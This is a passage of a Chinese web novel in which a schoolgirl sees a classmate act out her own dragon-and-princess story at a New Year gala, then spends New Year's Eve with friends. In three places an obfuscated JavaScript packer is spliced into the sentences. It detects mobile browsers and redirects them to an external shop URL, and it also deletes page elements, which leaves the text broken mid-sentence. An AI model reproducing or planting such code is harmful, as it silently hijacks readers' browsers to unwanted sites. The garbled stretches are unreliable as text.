行吧。 可是跑步真的很累哎。 她承认唐思雨跑得够拼命,但她也承认人外有人天外有天,一趟下来她们还是没能占到最前面的位置。 不过位置也算靠前,于听眠觉得也还可以。 “不是你们怎么跑那么快啊?”唐思雨不懂。 她们的前一个是许云,她一撩柔顺的马尾辫,骄傲又得意:“因为我们没吃饭啊,一下课就跑来了。” 唐思雨:“一定要那么拼吗?肚子不饿吗?” “这你就不懂了。”许云语气高深莫测,年纪轻轻就看透了世间,“人这一生啊,总得为什么拼一次命,至于肚子?啃两个面包忽悠一下得了。” 唐思雨:“……” 于听眠:“……” 要不说人家是语文课代表,说话就是有深度。 同学们陆陆续续从教学楼出来找到自己的班级坐下,喧闹的声音逐渐低了下来,富有节奏感的音乐停下,一年一度的元旦晚会正式开始。 身着华丽衣裳的主持人在舞台上慷慨激昂宣读开场词,队伍前排传下来一张节目单。 两人坐得前,节目单很快就传到了她们手里,于听眠第一时间就在节目单上寻找谢惊洛的名字。 一个一个节目看下去,总算是在倒数第二个节目看到了谢惊洛的名字。 最后一个节目是全体教师大合唱。 唐思雨:“怎么评价最后一个节目?” 于听眠:“经典合唱。” 十二月末入了冬,四面八方而来的风早已失去秋日的温和,取而代之的是刺骨的寒冷。 于听眠双手冻得通红,一起缩进袖子里,不断对其哈气取暖,好在今天穿得够严实,除了脸和手暂时没有其他地方受到寒风的摧残。 唐思雨注意到她的动作,问道:“为什么不把手揣口袋里?” “没什么用。”于听眠用手碰了碰脖子,被冻得一激灵,“暖不起来的,还不如这样对着哈气暖和。” 说完,她看了眼舞台上穿着光鲜亮丽的表演服饰正在跳舞的演员,感慨道:“她们穿的服装看着就冷,还能这么镇定自若地表演,真是厉害。” “是啊。”唐思雨赞同,“换我上去手指早就冻得僵硬了。” 聊着聊着,于听眠忽然想到一个问题。 谢惊洛……不会也穿得很单薄吧? 每一场节目都无比精彩,于听眠手都鼓累了终于是等到了谢惊洛出场。 于听眠原先坐累了有些放松的腰身瞬间扳直了。 这场她得坐直了看。 这是一个恶龙绑架了公主的故事。 在一个美丽的国度,有一座华丽的王宫,里面住着一位漂亮的公主。 公主名叫索米娜,她有着婀娜多姿的身段,以及一头及腰的长发。 今日是索米娜十八岁的生日,国王为她准备了一场盛大的生日宴会,邀请群臣赴宴,一同庆贺索米娜的成年。 一位大臣喝了美酒,兴致勃勃之际,他对国王提议:“国王陛下,如今索米娜公主已长大成人,依我看来,是时候该为公主挑选驸马了。” 国王觉得大臣言之有理,当即下令过两天要为公主再举办一场宴会,国内所有有勇有谋的青年都能参加这场宴会比试能力,最终的获胜者能够迎娶公主成为驸马。 此消息一出,每个青年都跃跃欲试积极报名参加宴会,梦想着能在这场比试中胜出迎娶公主。 一切都在按照计划进行,但是在宴会当天,出现了一点意外。 一阵不知名的狂风吹来,当着所有人的面卷走了公主。 众人大惊,宴会乱成一团,所有人都在讨论是什么带走了公主。 这时有人猜测:“是恶龙!一定是恶龙!这世间只有那种丑陋邪恶的生物才会做出带走公主的事情!” 国王勃然大怒,立刻下令征寻这世间最勇猛的勇士前去解救公主,若谁能救出公主,则将公主许配给他。 此话一出,这世间的勇士们纷纷踏上了前往恶龙的洞穴解救公主的路程。 传闻恶龙喜欢金灿灿的金币和一切亮晶晶的宝物,所以他的洞穴内永远都是金碧辉煌的。可等索米娜从昏迷中醒过来,看见的自有一个光秃秃的洞穴,没有金灿灿的金币,也没有亮晶晶的宝物,只有一些日常的生活用具和一个脖子上布满奇异花纹却长得十分俊美的奇怪男子。 索米娜被吓了一跳,退后一步远离了男子,问:“是你把我带到这里来的?” 男子声音冷漠话语简洁明了:“嗯。” 索米娜又问:“你叫什么名字?” “尤里尔。” “你为什么要把我带来这里?” 尤里尔不打算回到她这个问题,看了她一眼,消失在原地。 索米娜在尤里尔消失后在洞穴周围四处游走,她惊喜地发现洞穴周围没有布下禁锢的法阵,她可以随意走动,甚至可以离开这个地方。 难道是尤里尔忘记布法阵了? 不过无论是什么原因,都不是索米娜需要知道的,她现在需要做的是赶紧离开这个地方,然后回到王宫,之后—— ……之后? 索米娜顿时停住了脚步。 回去之后会发生什么事呢? 她会在挑选驸马的宴会上和获胜者结婚,和一个不认识的、不知为人、不知高矮胖瘦的获胜者结婚。 她会像一件奖品一样被交出去。 索米娜慢慢后退,转身回到了洞穴。 傍晚时分,尤里尔出现在洞穴口,他的手中提着一个竹篮,里面放着香甜的果酱和可口的面包。 见索米娜好好地待在洞穴里,尤里尔的眼睛里闪过一丝意外。 他将篮子放在索米娜面前的石桌上,什么也没说。 一整天没有进食的索米娜肚子早就饿的咕咕叫了,她咽了口唾沫,小心翼翼地问:“我可以吃吗?” 尤里尔微微点头,算是同意了。 尤里尔不常出现在洞穴里,只有在用餐的时间会给索米娜带来食物,看着她吃完后就会离去,他没有限制索米娜的行动,时间久了之后索米娜也会偶尔出洞穴外走走,等到用餐的时间再回到洞穴。 某一天索米娜在外出时遇见了一片盛大美丽的花海,一朵朵五颜六色的花儿开得鲜艳夺目,她采了几朵,编成一束花束,在尤里尔到来时赠与他,感谢他带来的食物。 尤里尔接过花束,简洁地说了一声谢谢,带着花束离开了。 他在索米娜看不见的地方摘下一朵白色的花,佩戴在自己心口前。 这样的日子平静无波,索米娜的心从一开始的惶恐不安到如今的平静,她觉得这样的生活好像也不错,没有繁琐的皇室礼仪,没有兄弟姐妹之间的相互斗争,也没有非嫁不可的驸马。 只有一座在幽静深林深处的洞穴和一个长得奇怪但面冷心热的尤里尔。 可惜好景不长,国王征集的勇士们还是找到了这里。 “你想和他们走吗?”看着提着武器怒吼着向洞穴冲来的勇士,尤里尔问。 索米娜摇头:“不想。” 尤里尔说:“好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137312|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 他将索米娜藏在了隐秘的地方,让她跑得越远越好,而他化身巨龙独自前往迎战。 尤里尔很强,可惜国王征集的勇士实在太多了,而他自始至终只有一个人,慢慢的,尤里尔变得有些力不从心,身形也从巨龙变回了人类的模样。 又击倒一名勇士后,尤里尔力气透支,连站立都变得艰难。 有个人悄悄摸到尤里尔身后,趁其不备,从背后一剑刺穿了他的胸膛。 胸前漫出鲜红的血液,染透了心口前的白花。 尤里尔终于支撑不住,倒在了血泊中。 原本已经离开的索米娜担心尤里尔的安危,又偷偷折返回来,看见的就是尤里尔胸膛被刺穿的一幕。 她不可置信地睁大了双眼,失声尖叫,冲上去撞开挡路的人,扑在了尤里尔身边,晶莹的泪珠不断从眼眶中滚落,一下一下落在尤里尔身上。 尤里尔看着眼前泣不成声的索米娜,有些无奈地说:“为什么不走呢?” 索米娜拼命摇头,心中的疼痛让她说不出话来。 “可惜了……还是没能保护好你。” 尤里尔的手指动了动,想要抬手拭去女孩的眼泪,可惜没了力气,最后也没能成功。 他慢慢闭上了眼睛,脖子上怪异的花纹一点一点褪了下去,显现出他最原本的模样。 在一个王国,有一个小王子,他从小被女巫下了诅咒,说他以后会成为凶恶的巨龙,他的身体会布满怪异的花纹,只有得到公主的眼泪才能解除诅咒。 所有人都惧怕他,厌恶他,远离他,小王子逐渐变得沉默寡言,躲在自己的寝殿里不想出门。 在一次宴会上,邻国的王后带着一个小公主前来赴宴,小公主贪玩,在王宫里到处跑,一不小心迷了路,闯进了小王子的寝殿。 “你长得好好看!” 小公主眼睛亮晶晶的,从口袋里掏出糖果要给小王子:“我好喜欢你,给你吃糖!” 小王子愣了一下,接过糖,犹豫着问:“你……不怕我吗?” “不怕啊,你长得那么好看,我怎么会怕呢?” 小公主年纪小,又是邻国的,不知道他身上的诅咒不害怕他很正常,但这确实是小王子收到的难得的善意。 多年之后,诅咒应验了,王子变成了一条丑陋的巨龙,国王将他逐出了国家。 巨龙拥有强大的力量,他孤独地在外面四处游走,最后在一片深林里找到一个宽大的洞穴,安置了下来。 他时常会伪装成不同的身份去看看公主,有时候是一个侍卫,有时候是一个路人,甚至有时候是一只公主窗边稍作停留的小鸟。 他看到公主伤心地对洋娃娃说她不想嫁给不认识的人。 于是他就把她带走了。 他把公主带到他的洞穴里,但不限制她的自由,如果她要走,他不会阻拦,但如果她想留下来,那他会拼尽全力保护她。 只是最后还是食言了。 故事的最后,公主没有挑选驸马,她变得沉默寡言,一步一步计算着,将权势紧握在手里,最终登上了王位成为了女王。 世人不知其中故事,只知道女王陛下有一个漂亮的水晶容器,里面放着一朵半红半白的花束,早已枯萎,女王却对它视若珍宝。 有人想去找寻这样的花束献给女王,可找遍很多地方,那人都没有再见过这样的花束。 灯光忽而全部暗下,只留了一小束光,落在舞台中央的水晶容器上。 枯萎的花束依旧鲜艳。 全场寂静无声,等灯光重新亮起,演员们一同上台谢幕,台下爆发出如雷贯耳的掌声。 于听眠在一片讨论声鼓掌声中持续发懵,连寒风漏进了衣领里也不觉寒冷。 这这这这这—— 这不是她投稿在《小故事》里的那篇故事吗?!! 啊??? 34. 套圈or圈套 晚会在全体教师一首《明天会更好》中圆满落下帷幕,同学们一班接一班陆陆续续搬椅子回教室,演员和工作人员做最后的清场处理。 后台,谢惊洛脱下繁琐的演出服,换上自己的衣服从更衣室出来,正要离开,一道清脆的声音从身后喊住了他。 “谢惊洛!” 他停下脚步,回头。 方楚悦身上还穿着单薄却华美的公主裙,裙摆重,又走得急,她停下来时还在微微喘息,冷风吹得她的秀发飘扬,灯光落在她的发丝上,灵动又漂亮。 “呼……” 方楚悦慢慢平复着纷乱的气息,目光直视着眼前的人,镇定,毫不露怯。 她十分认真地问:“谢惊洛,你真的不考虑和我在一起的可能性吗?” 谢惊洛没有回避她的视线,就这么坦然接受她的目光,面色平静。 良久,他轻轻叹息一声,说了句与此时无关的话。 “夜里凉,先把服装换了吧,着凉了不值得。” “……呵。” 谢惊洛的话说得莫名,可她却是听懂了。 方楚悦叹笑,提着裙摆的手指紧了紧,刚才那一句话耗尽了她全部的力气,此时此刻她终于失去了与他对视的勇气。 是她的问题,王子离开的那一幕,谢惊洛只是在表演,可她却将他戏中的惋惜混淆了现实,渐涨的情绪占据了上风,让她错以为自己还是有机会的。 这个人可真是恶劣啊,明明可以直接拒绝她,又偏偏给她留了最后的体面。 其实之前谢惊洛就已经说得很清楚,他不会喜欢自己,只是自己一直不死心,总想着还有机会。 但有一有二就不能再有三了,继续纠缠下去会惹人厌烦,而她也有自己的骄傲,被同一个人拒绝了两次,总不能再被拒绝第三次,她不允许自己做出那么不体面的事来。 “好,我知道了,以后我不会再找你了。” 方楚悦点了点头,提起裙摆利落转身离去,像话剧结尾的女王般优雅退场。 夜晚的风要比白日加倍的冷,于听眠在校门口和唐思雨道别后就直面寒风一路小跑回家,中途路过街边的烤肠摊子时还顺手买了根烤肠。 嫌自己的那台诺基亚打字慢,于听眠回到家就扔下书包一头扎进了付向晓的房间,迫不及待打开了电脑登上Q.Q。 她找到巧克力麻婆豆腐的聊天框,噼里啪啦在键盘上打字发了消息过去。 [小鲤鱼:豆腐?在吗?] 没等多久对方就回了消息。 [巧克力麻婆豆腐:在的在的!] [巧克力麻婆豆腐:大大找我有什么事吗?] 于听眠组织了一下语言,开始打字。 [小鲤鱼:我想问一下,那篇故事的灵感,你具体是用在了什么地方呢?] [巧克力麻婆豆腐:用在了我们学校的元旦晚会上,我们组织了一个话剧类节目,用了这个故事,但对原文做了一点小小的修改。] [巧克力麻婆豆腐:大大你放心,我绝对不会拿去乱用的!] 很好,这下完全可以确定了,确实就是她投稿的那篇。 于听眠还是有些难以置信,她双手抱胸靠在椅背上,心情复杂。 这世界也太小了吧? 心情复杂之余还有点回味过来的、难以抑制的欢喜。 虽然但是,谢惊洛他演了我写的故事哎! 于听眠不知道怎么形容这种感觉,大概就是全世界都知道谢惊洛演了王子,唯独只有她自己知道谢惊洛演的是她笔下的王子,那种独一无二的感觉让她欣喜若狂。 “眠眠——” 就在她独自傻乐之时,付向晓在客厅喊了她。 “啊?怎么了?” “出来一下。” “哦,等一下——” 于听眠顺手关了电脑走出房间。 一来到客厅她就看见桌子上放着一个袋子,从形状看来里面装的大概是个小盒子。 付向晓把袋子提到于听眠面前,说:“你之前作文竞赛不是得奖了吗,我和你爸商量了一下,打算把这个作为奖励给你。” 于听眠打开袋子一看,是包装智能手机的专用盒子。 不等于听眠说谢谢,付向晓继续说:“鉴于你最近出入我们房间使用电脑的次数比以往多了不少,你的行为严重侵犯了我们的隐私,所以有这台手机后,该干嘛干嘛去,没事少进我们房间,知道了吗?” 于听眠:“……” 不知道说什么,笑笑算了。 “对了,明晚我要出去和朋友们跨年,去市区那边。” “去市区?你们有几个人啊?” “一共四个人,除了我之外还有一个女生和两个男生。” “那行啊。”付向晓无所谓,“那晚饭我就不准备你的份了。” 于听眠告诉她:“我是打算吃了饭再出门。” “哦?”付向晓有些嫌弃,“你都要出门了不在外面吃要在家里吃?你对得起你出的这趟门吗?” 于听眠:“……” 真是够了。 2013年12月30日 天气:晴 妈呀呀呀呀呀呀—— 总之现在就是心情—— 非!常!激!动! 谁能想到很久之前投稿的一篇小故事,里面的王子居然被我喜欢的人演出来了!!!! 虽然大概全世界只有我一个人知道这件事。 但怎么会有那么巧的事呢?难道这个世界真的是个圈?(疑似发现了不可描述的秘密) 反正现在我开心得想要原地起飞,一想到明天大家要一起去跨年就更开心了,感觉要昏厥过去了—— 卒。 最后于听眠还是在家里吃了饭再走的,出门前付向晓嘱咐她夜深天凉,让她多穿两件衣服出门,有时就打电话。 于听眠不想穿得太厚,左挑右选最后选了件连帽带袖的米白色斗篷外套,帽子外圈缀着一圈蓬松的绒毛,往脑袋上一盖能把她整个人埋起来。 他们约好八点钟在公交站见面。 于听眠出门得早,却不是最早到的,等她来到公交站时,已经有人先一步在那里等着了。 谢惊洛今晚穿了件深灰的毛呢大衣,衬得他的身形修长挺拔,宛若寒冬里屹立不倒的白杨树。 他单手握着手机回信息,见人过来,他抬眸浅浅笑了一下:“晚上好。” 于听眠脸颊冻得通红,她将脸埋进柔软的围巾里一点,声音闷闷的:“你也是,晚上好。” “我们来啦——” 唐思雨的声音由远及近,身旁跟着秦长宇。 唐思雨一眼就看见了于听眠背后的大毛帽子,感叹道:“你这帽子不错啊,毛茸茸的看着就暖和,你别穿了,脱下来给我穿。” 于听眠的声音比凛冽的寒风还要冷上几分,一开口就令人无比心冻:“滚。” 被骂了,唐思雨浑身舒坦:“好嘞~”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142089|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>才是八点多一些,市区的广场已是人头攒动,人声鼎沸。 市井繁华,街头巷尾各色人等来来去去,商场外的大屏幕上播放着不重样的喜庆的祝福词,商场前搭建了一个华丽的舞台,举办着充满欢声笑语的跨年晚会,庆贺着新的一年即将到来,街道灯火通明,宛如白昼,两侧各式的小摊摆了一里有余,一眼望不到头。 “我就说吃了晚饭再出来是对的吧,要不然今晚就吃不上饭了。”唐思雨心有余悸瞧着各家饭店挤满了人,更有甚者还没排上号,在门口前等待。 于听眠无比赞同。 “你们要不要来玩套圈?” 秦长宇发现了个好玩的东西,招呼着三人过去。 三人闻声而至,唐思雨扫视了一圈地下摆着的东西,物色有没有自己感兴趣的奖品。 “让我看看,一块钱一个圈……二十块钱三十个……看着还不错,眠眠你玩不玩?” 第三排左边数第二个是一个白色的小兔子挂件,放在一个红色的小篮子里,单看过去不大,但做工还可以,算得上精致可爱。 于听眠相中了这个挂件。 “玩。” 唐思雨又问:“洛哥你呢?” 谢惊洛对里面的奖品都不是很感兴趣,他微微摇头:“你们玩吧。” “行。”唐思雨建议:“先一人来十个圈试试水?” 于听眠:“OK。” 秦长宇:“没问题,老板我们要三十个圈。” 老板今晚生意不错,见又有财源上门,瞬时喜笑颜开,细小的眼睛眯得快要看不见了。 “稍等哈!”老板数出三十个圈交给秦长宇,还不忘给自己推销一波:“在我这里套圈啊,童叟无欺,套中就能直接拿走,你们就尽管套!” 三人站在一米开外的红线外开始往自己心仪的奖品上套圈,秦长宇看上了一个手□□型,比于听眠的放得还要远些,唐思雨没有什么特别想要的,讲究一个随遇而安,什么都套一下,能套中什么是什么。 于听眠不擅长这种活动,扔出的圈不是歪了就是远,要么就是只挂在了篮子的边缘,总之就是没有一次碰到过挂件。 连续扔出九个没中,于听眠陷入了沉思。 果然,这东西和夹娃娃一个性质,她就不该碰。 “呀!我中了!” 唐思雨的第八个圈挂在了一个小陶瓷人身上。 她“哟吼”一声,正准备让老板把陶瓷人拿给她,却看到老板摆了摆手,说:“哎呀,小姑娘,你这个可不算套中啊。” “啊?”正兴奋上头被泼了一盆冷水,唐思雨不解道:“为什么?我已经套上去了啊?” 老板不慌不忙地解释:“你这只套中陶人不算,要把它下面的篮子也一起套进去才算,而且要正正套中,不能挂边。” “你一开始也没说啊?” “你们也没问我啊,不然为什么要在下面放个篮子?” “……” 确实,是他们一开始没问清楚,以为只要套中篮子里的东西就好,唐思雨无话可说。 要带着篮子一起套进去? 于听眠拿着最后一个圈比划了一下,篮子只比圈小一点点,几乎不可能完全套进去,多多少少都会挂在边上。 这明摆着是被坑了,三人都失去了继续套的兴致,但唐思雨又心有不甘,她悄声对两个伙伴说:“要不我们摇人?” 于听眠:“摇谁?” 唐思雨:“谢惊洛。” 35. 圈套(×)套圈(√) 秦长宇穿进人群里把到处乱走的谢惊洛抓了回来,三人总共还剩四个圈,整整齐齐交给了他。 “我试试吧。”听秦长宇添油加醋说完前因后果,谢惊洛接过了圈。 “没事,套不中就当玩了。”这次唐思雨谨慎了许多,她对老板说:“没规定不能把圈给别人玩吧?” “当然没有。”老板一脸无所谓,根本没将他们几个当回事,他完全不觉得换个人来就能套中,不然也不会今晚在这里摆摊那么久一件奖品都没少,这些奖品都是他的老员工了。 “你们给谁套都行,还是那句话,套中了就能拿走啊,这是看能力的事,咱说话算话不玩那些虚的。” “是吗……”谢惊洛看着手中的圈,眼底满是漫不经心,像是在看什么好玩的东西:“那麻烦你再拿十个给我吧,四个有点少了。” 哎?!! 站在一旁的三人面面相觑,完全没料到是这么个发展。 秦长宇急忙拉住他,低声对他说:“不是,你干嘛啊?这套不中的,你钱多没地方花?” 于听眠短暂的惊讶过后恢复了平静。 她相信谢惊洛这么做一定是有他的道理。 虽然她现在暂时不知道该怎么赢。 谢惊洛:“没事,试试,来都来了玩尽兴一点,四个确实不够。” 秦长宇:“……” 不是大哥,你试什么试啊?!钱太多可以捐点给有需要的人,比如我! 有人上赶着送钱来老板高兴都来不及,连忙数了十个圈递过去,见人接过,生怕人反悔还补了句:“帅哥,咱们这个是小本生意,拿了圈之后概不退货啊!” 谢惊洛接过圈,看了他一眼。 “好啊。” 他回头问他们:“你们想套什么来着?” 唐思雨:“我刚刚套的那个小陶人。” 秦长宇:“第四排右边数第二个那个手□□型。” “嗯。”谢惊洛点了点头,然后看向还未出声的于听眠:“你呢?想要什么?” “那个……”于听眠抿了抿唇,伸手指了下兔子挂件的位置:“想要那个挂件。” 谢惊洛一个个看了位置,率先拿起一个圈,掂了掂其中的重量,又估摸了下大概的距离。 接着他的手腕一抖,蓝色的圈朝着最近的兔子挂件飞去。 哐。 蓝圈落下,挂了篮子的一角。 “哎呀!差一点!明明很近了!四个角都进了三个了!”唐思雨可惜得直跺脚。 于听眠也觉得可惜,但又觉得谢惊洛比她厉害多了,她连篮子的边缘都不一定能碰上。 难道她天生就不适合玩这些东西? “哈哈哈,没事帅哥,再接再厉啊,这种东西是要一定技术的,套不中很正常,多玩几个练练就行了。” 老板坐在一旁的椅子上,神态十分轻松,并笑眯眯地安慰他。 谢惊洛没回他,手中轻描淡写又扔出一个圈。 这次稳稳当当套全了篮子的四个角。 “我去中了!!” 唐思雨激动出声。 于听眠眼睛一亮。 老板还没来得及收起的笑容僵在脸上。 没给老板反应的时间,谢惊洛扔出了第三个—— 小陶人中了。 第四个—— 手□□型中了。 老板挺起了腰板。 “卧槽这不对吧?!”一套操作下来给秦长宇看得一愣一愣的,后知后觉回过味来。 好哇——他就说这玩意儿刚才怎么上赶着去吃亏,原来都是在这等着呢,还说什么“试试”“试试”,真是信了邪,他怎么就忘了这家伙从来不会做让自己吃亏的事。 秦长宇唾弃他。 谢惊洛掂了掂手上剩余的圈,“还有什么想要的吗?还有十个圈。” 那话又说回来了—— 秦长宇:“另一把手□□型也给我套上呗。” 唐思雨:“还有我还有我!我要那个洋娃娃!” 于听眠:“那个玩偶看起来不错……” 老板彻底坐不住站了起来。 最后一整套下来,剩下的十个圈中了八个,三个人得了一堆奖品。 “可以帮忙把奖品拿给他们吗?”谢惊洛拍了拍手上的灰尘,朝老板礼貌询问。 老板笑容牵强且扭曲:“当、当然可以。” 谢惊洛嘴角勾起一抹浅笑:“老板果然说话算话,祝生意兴隆。” 老板:“……” 三人满载而归,一群人里只有唐思雨带了背包出门,于听眠和秦长宇就把自己手里的奖品往她包里塞。 “好重啊!” 唐思雨站在原地,任由他们折腾自己的背包,其实没什么分量,毕竟都是一些小玩意儿,但她毫不客气:“待会儿我累了你们轮流帮我背!” 于听眠留了兔子挂件握在手上,其他的全都塞了进去,嘴上应得很顺口:“好好好,行行行,背背背。” 唐思雨:“……” 秦长宇帮忙把拉链拉包,伸手要摘下她的包。 唐思雨感觉肩上一轻,条件反射般反手按住:“干嘛?” 秦长宇:“你不是说重?我帮你背。” 那感情好啊! 松了按住背包的手,唐思雨迫不及待摘下鼓囊囊的背包塞秦长宇怀里。 秦长宇:“你这么不客气的?” 唐思雨莫名其妙:“跟你客气什么?” 秦长宇:“……” 秦长宇任劳任怨背上粉嫩嫩的包,回头找谢惊洛聊天:“准头那么好,以前玩过?” 谢惊洛:“没有。” “不信。”秦长宇很是怀疑。 “真的没有。”谢惊洛无奈摊手:“真是第一次玩,不还歪了几个?” 秦长宇:“……” 两人在后面聊天,于听眠和唐思雨已经在一个贩卖小动物的摊位前蹲下了身。 “啊啊啊啊啊啊好可爱啊!!”唐思雨看着一群哼哼唧唧的小狗幼崽两眼冒光挪不开眼。 “你不想养一只吗?”她问于听眠。 “想啊。”于听眠盯着一只浑圆的、仿佛棉花糖的萨摩耶幼崽,看着他四脚朝天在笼子里呼呼大睡,如此喧闹的环境也吵不醒它。 “但没时间养,养一只宠物要耗费好多心神,时间、精力和金钱缺一不可,可我现在只是个学生,什么条件都满足不了,贸然带一只回去是对它的不负责,所以等哪天我具备这些条件了再说吧。” “也是。” 女孩子们看小动物看得乐不可支,两个男生就在不远处等她们。 谢惊洛回完了秦长宇的话,视线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145640|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落在宠物摊上,一眼就看见了某只仰面朝天睡得安稳如山的棉花糖。 目光微移,棉花糖前的女孩因为风大已经戴上了毛茸茸的帽子,蹲在摊前缩成小小一只,米白色的宽大斗篷将她紧紧包裹着。 像一只大号棉花糖。 谢惊洛脑子里莫名出现了这么个形容。 一群人走走停停看看好玩的东西时间很快就过去,于听眠捧着一杯热奶茶边喝边暖手边问:“现在几点了?” 唐思雨看了眼时间:“现在是十一点半,差不多可以往回走了……你不是带手机了吗?” 于听眠:“对啊。” 唐思雨:“那你还问我几点了?” 于听眠:“问你可比看手机有意思多了。” 唐思雨:“滚。” 离倒计时还有五分钟,大屏幕前已经聚满了人,不少人提前举起了手机对准大屏幕准备记录这场倒计时。 唐思雨也兴致勃勃地举起手机打开录像,见于听眠没动静,问她:“眠眠,你不录像吗?” “不了。”于听眠摇头,一直举着手机太累人了,这种活计还是交给好友做吧,“有你就够了,到时候发一份给我,非常感谢。” 唐思雨:“信不信我咬你?” 于听眠委屈:“不要嘛~” 唐思雨白了她一眼,扭头专心录像,让她自己凉快去。 广场上人太多了,行动十分不便,于听眠前面的人被挤得往后退了一步,直直朝她撞去。 于听眠反应过来快速躲开,可惜还是慢了一步被撞倒了捧着奶茶的手,里头热乎的液体猛然一晃,漏了些许出来洒在她的手上。 奶茶不烫,没伤到手,只是奶茶沾在手上黏黏腻腻的触感很不好受,稍一握拳掌心的皮肤就被粘在了一起。 那人似乎没注意到自己撞到了人,被挤开又头也不回地挤了回去。 于听眠眉头紧蹙,另一只干净的手从口袋里抽出卫生纸擦拭,但效果微乎其微。 她看了一眼兴高采烈录像没注意到她这边动静的唐思雨。 算了,于听眠放弃挣扎。 事已至此,先倒计时吧,等会儿再找个洗手间洗手,难得的时候就不为这点小事坏了心情了。 商场前举办的跨年晚会也到了尾声,主持人在做最后的结尾。 “倒计时不仅是时间的流逝,更是我们对未来的无限期盼,让我们一同倒数,准备迎接新的征程——” 大屏幕上开始滚动一分钟倒计时,所有人都在一起倒数。 “六十——” “五十九——” “五十八——” 于听眠被热火朝天的气氛感染,她盯着数字不断滚动的大屏幕,嘴上没开口,却也在心里默默跟着倒数,好似每倒数一个数字,往年的各种遗憾也会随之消散,直至最后心底只剩一片清明。 “五——” “四——” “三——” “二——” “一——” “元旦快乐——” 嘭———— 无数烟火于黑夜中绽开,铺满了整个夜空,如被吹散的千树繁花,纷乱如雨,璀璨至极,在于听眠眼底晦明。 她蓦然记起一句诗: 东风夜放花千树。更吹落,星如雨。 此时晚夜与昼同。 36. 走回去 烟火于眸中闪烁,于听眠下意识回头,目光想要去追随那道屹立如松的身影,却看见身后皆是一张张陌生的面容。 她倏然想起,谢惊洛不太喜欢过于拥挤的环境,所以也没跟着他们一起过来,独自一人去了广场之外的长椅坐下了,让他们玩够了再去找他。 唐思雨和秦长宇还对着烟花嚯嚯一顿拍,看样子一时半会是结束不了。 倒计时结束了,手中黏腻的不适感再次袭来,于听眠刚舒展开的眉头又皱了起来。 她和唐思雨交代了一声:“思雨,刚才奶茶洒到我手上了,我去商场里面洗个手。” “okok。” 人都集中在外面看烟火,商场里的人不多,于听眠就顺带上了个厕所才走出商场。 准备回去找唐思雨,可走了几步,她又停住了脚步。犹豫半晌,她拿出手机给唐思雨发了条信息: [小鲤鱼:思雨,我就不回去了,也去长椅那边坐坐,你们好了就过来吧。] 唐思雨没有回她,估计是太吵了没听见提示音。 于听眠收起手机,脚底拐了个弯,向着谢惊洛的方向走去。 长椅设在马路对面,隔了一条马路,一边狂欢一边寂寥。 其实这边也能看到大屏幕的倒计时,只是隔得远,又少了喧嚣的人群,马路就又像一道无形的屏障,把所有的热闹都隔绝在了另一边。 于听眠越过屏障来到谢惊洛身边,看见他正仰望着夜空的烟火,听见她的来息,他偏过头看去,火光映着他的脸颊,笑容染上暖意。 “怎么来了?不去玩吗?” “有点累了,来休息一会儿。”于听眠垂眸看了一眼谢惊洛身旁的位置。 长椅很长,坐两个人绰绰有余。 她轻咬了下唇,给自己做足了心理准备,但还是有些艰难地开口:“我可以……坐在这里吗?” “当然可以。” 谢惊洛点头,往一旁挪了挪给她空出更多位置。 于听眠心情略感紧张地坐下,若是唐思雨在场,大概会被她优雅无比的动作惊得以为她被夺舍了。 天啊于听眠你真是出息了,都敢主动坐去谢惊洛身边了! 意识到自己干了什么,她被自己的行为震惊到了,回想这几天吃了什么才把胆子养那么肥。 “怎么不去那边看倒计时和烟花啊?” 即使脑子里面掠过了一道道菜谱,于听眠脸上还是在平静地没话找话。 “那边有点挤,在这里也能看。”谢惊洛声音一如既往地温润:“一样很漂亮不是吗?” 说话间谢惊洛换了个姿势,毛呢大衣的袖角跟着他的动作轻轻擦过斗篷外套袖口的绒毛。 于听眠藏在袖下的手指不受控制地蜷了蜷。 她不自觉想要捏一下兔子挂件缓解一下紧张的心情…… 对了!兔子挂件! 还有那些奖品。 “谢惊洛。”她问:“你喜欢烟花吗?” “喜欢。” 和天台上的那次回答不同,这次谢惊洛说的是“喜欢”。 烟火易冷,转瞬即逝,它只有一瞬间的璀璨,美丽而短暂,却又让人犹忘不能。 于听眠脱口而出:“那我画一张烟花给你吧。” 谢惊洛看向她。 于听眠早已想好了借口,却依旧有些忐忑:“你刚刚不是帮我套了几个奖品吗?我也没什么好回你的,只会画一点画,你要是喜欢烟花,我就再画一张烟花给你吧。” 和上次的说法相差无几。 谢惊洛忽而觉得这个女孩挺有意思的。 每当给她些什么东西,她就总想着回些什么给对方。 谢惊洛笑道:“好啊。” 